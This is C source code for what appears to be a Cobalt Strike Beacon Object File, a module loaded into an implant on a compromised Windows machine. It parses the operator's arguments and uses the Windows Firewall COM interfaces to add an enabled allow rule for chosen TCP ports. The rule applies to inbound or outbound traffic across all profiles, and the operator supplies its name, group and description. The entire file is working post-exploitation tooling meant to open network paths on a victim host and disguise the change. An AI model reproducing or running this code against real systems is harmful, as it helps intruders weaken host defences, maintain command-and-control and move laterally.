addfirewallrule.c 4.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105
  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #include <netfw.h>
  4. #include "addfirewallrule.h"
  5. #include "beacon.h"
  6. #pragma comment(lib, "comsuppw.lib")
  7. #pragma comment(lib, "Ole32.lib")
  8. #pragma comment(lib, "OleAut32.lib")
  9. HRESULT AddFirewallRule(BSTR ruleName, BSTR ruleDescription, BSTR ruleGroup, NET_FW_RULE_DIRECTION direction, BSTR localPorts, LONG protocol) {
  10. HRESULT hr = S_OK;
  11. INetFwPolicy2 *pNetFwPolicy2 = NULL;
  12. INetFwRules *pRules = NULL;
  13. INetFwRule *pRule = NULL;
  14. // Initialize COM.
  15. hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
  16. if (FAILED(hr)) goto Cleanup;
  17. // Create an instance of the firewall settings manager.
  18. IID CLSIDNetFwPolicy2 = {0xe2b3c97f, 0x6ae1, 0x41ac, {0x81, 0x7a, 0xf6, 0xf9, 0x21, 0x66, 0xd7, 0xdd}};
  19. IID IIDINetFwPolicy2 = {0x98325047, 0xc671, 0x4174, {0x8d, 0x81, 0xde, 0xfc, 0xd3, 0xf0, 0x31, 0x86}};
  20. hr = OLE32$CoCreateInstance(&CLSIDNetFwPolicy2, NULL, CLSCTX_INPROC_SERVER, &IIDINetFwPolicy2, (void**)&pNetFwPolicy2);
  21. if (FAILED(hr)) goto Cleanup;
  22. // Retrieve the firewall rules collection.
  23. hr = pNetFwPolicy2->lpVtbl->get_Rules(pNetFwPolicy2, &pRules);
  24. if (FAILED(hr)) goto Cleanup;
  25. // Create a new rule object.
  26. IID CLSIDNetFwRule = {0x2c5bc43e, 0x3369, 0x4c33, {0xab, 0x0c, 0xbe, 0x94, 0x69, 0x67, 0x7a, 0xf4}};
  27. IID IIDINetFwRule = {0xaf230d27, 0xbaba, 0x4e42, {0xac, 0xed, 0xf5, 0x24, 0xf2, 0x2c, 0xfc, 0xe2}};
  28. hr = OLE32$CoCreateInstance(&CLSIDNetFwRule, NULL, CLSCTX_INPROC_SERVER, &IIDINetFwRule, (void**)&pRule);
  29. if (FAILED(hr)) goto Cleanup;
  30. pRule->lpVtbl->put_Direction(pRule, direction);
  31. pRule->lpVtbl->put_Protocol(pRule, protocol);
  32. pRule->lpVtbl->put_LocalPorts(pRule, localPorts);
  33. pRule->lpVtbl->put_Action(pRule, NET_FW_ACTION_ALLOW);
  34. pRule->lpVtbl->put_Profiles(pRule, NET_FW_PROFILE2_ALL);
  35. pRule->lpVtbl->put_Name(pRule, ruleName);
  36. pRule->lpVtbl->put_Description(pRule, ruleDescription);
  37. pRule->lpVtbl->put_Grouping(pRule, ruleGroup);
  38. pRule->lpVtbl->put_Enabled(pRule, VARIANT_TRUE);
  39. // Add the rule.
  40. hr = pRules->lpVtbl->Add(pRules, pRule);
  41. if (FAILED(hr)) goto Cleanup;
  42. Cleanup:
  43. if (pRule) pRule->lpVtbl->Release(pRule);
  44. if (pRules) pRules->lpVtbl->Release(pRules);
  45. if (pNetFwPolicy2) pNetFwPolicy2->lpVtbl->Release(pNetFwPolicy2);
  46. OLE32$CoUninitialize();
  47. return hr;
  48. }
  49. int go(char *args, int len) {
  50. HRESULT hr;
  51. datap parser;
  52. CHAR *directionOption = "in"; //in | out
  53. WCHAR *w_ruleName = "";
  54. WCHAR *w_ruleDescription = "";
  55. WCHAR *w_ruleGroup = "";
  56. WCHAR *w_localPorts = "";
  57. BeaconDataParse(&parser, args, len);
  58. directionOption = BeaconDataExtract(&parser, NULL);
  59. w_localPorts = BeaconDataExtract(&parser, NULL);
  60. w_ruleName = BeaconDataExtract(&parser, NULL);
  61. w_ruleGroup = BeaconDataExtract(&parser, NULL);
  62. w_ruleDescription = BeaconDataExtract(&parser, NULL);
  63. LONG protocol = NET_FW_IP_PROTOCOL_TCP;
  64. BSTR ruleName = OLEAUT32$SysAllocString(w_ruleName);
  65. BSTR ruleDescription = OLEAUT32$SysAllocString(w_ruleDescription);
  66. BSTR ruleGroup = OLEAUT32$SysAllocString(w_ruleGroup);
  67. BSTR localPorts = OLEAUT32$SysAllocString(w_localPorts);
  68. if(MSVCRT$strcmp(directionOption, "in") == 0) {
  69. NET_FW_RULE_DIRECTION direction = NET_FW_RULE_DIR_IN;
  70. hr = AddFirewallRule(ruleName, ruleDescription, ruleGroup, direction, localPorts, protocol);
  71. if (SUCCEEDED(hr)) BeaconPrintf(CALLBACK_OUTPUT, "[+] Inbound firewall rule added successfully.\n");
  72. else BeaconPrintf(CALLBACK_ERROR, "Add failed: 0x%08lx\n", hr);
  73. }
  74. else {
  75. NET_FW_RULE_DIRECTION direction = NET_FW_RULE_DIR_OUT;
  76. hr = AddFirewallRule(ruleName, ruleDescription, ruleGroup, direction, localPorts, protocol);
  77. if (SUCCEEDED(hr)) BeaconPrintf(CALLBACK_OUTPUT, "[+] Outbound firewall rule added successfully.\n");
  78. else BeaconPrintf(CALLBACK_ERROR, "Add failed: 0x%08lx\n", hr);
  79. }
  80. OLEAUT32$SysFreeString(ruleName);
  81. OLEAUT32$SysFreeString(ruleDescription);
  82. OLEAUT32$SysFreeString(ruleGroup);
  83. OLEAUT32$SysFreeString(localPorts);
  84. return 0;
  85. }